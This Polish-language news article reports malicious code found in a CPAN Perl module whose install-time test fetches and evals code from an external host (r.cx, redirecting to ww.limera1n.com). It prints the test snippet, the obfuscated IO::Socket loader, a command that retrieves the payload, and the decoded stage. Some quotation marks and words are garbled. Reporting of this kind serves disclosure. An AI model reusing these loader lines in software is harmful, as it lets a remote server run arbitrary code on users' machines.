W dystrybuowanym przez katalog CPAN pakiecie Perl , przeznaczonym do automatycznego ładowania modułów CPAN w locie, złośliwy kod. Złośliwa wstawka została w kodzie testu , który jest dostępny od 2011 roku.
Co ciekawe, pytania dotyczące ładowania podejrzanego kodu pojawiały się już w 2016 roku.
Aktywność złośliwa sprowadza się do próby załadowania i wykonania kodu z zewnętrznego serwera (http://r.cx:1/) podczas wykonywania zestawu testowego, uruchamianego przy instalacji modułu. Przyjmuje się, że pierwotnie ładowany kod z zewnętrznego serwera nie był złośliwy, ale obecnie żądanie jest przekierowywane na domenę ww.limera1n.com, która dostarcza swoją porcję kodu do wykonania.
Do organizacji ładowania w pliku użyto następującego kodu:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Podany kod prowadzi do wykonania skryptu , którego zawartość sprowadza się do linii:
use lib do{eval&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.»:1″};
Skrypt ten ładuje za pomocą usługi kod z zewnętrznego hosta r.cx (kody symboli 82.46.99.88 odpowiadają tekstowi «R.cX») i wykonuje go w bloku eval.
$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;'
eval unpack u=>q{_<‘)I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
Po rozpakowaniu ostatecznie wykonuje się następujący :
print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1
Obecnie problematyczny pakiet został usunięty z repozytorium (Perl Authors Upload Server), a konto autora modułu zostało zablokowane. Moduł wciąż pozostaje w archiwum MetaCPAN i można go bezpośrednio zainstalować z MetaCPAN przy użyciu niektórych narzędzi, takich jak cpanminus. , co oznacza, że pakiet nie był szeroko rozpowszechniany.
Ciekawe, że do dyskusji i autor modułu, który zaprzeczył informacji o tym, że złośliwy kod został wstawiony po włamaniu na jego stronę «r.cx» i wyjaśnił, że po prostu się bawił, a perlobfuscator.com nie było używane do ukrywania czegokolwiek, lecz do zmniejszenia rozmiaru kodu i ułatwienia jego kopiowania przez schowek. Wybór nazwy funkcji «botstrap» został wyjaśniony tym, że brzmi jak bot i jest krótszy niż bootstrap. Autor modułu również zapewnił, że ujawnione manipulacje nie powodują złośliwych działań, a jedynie demonstrują ładowanie i wykonywanie kodu przez TCP.
Źródło: opennet.ru
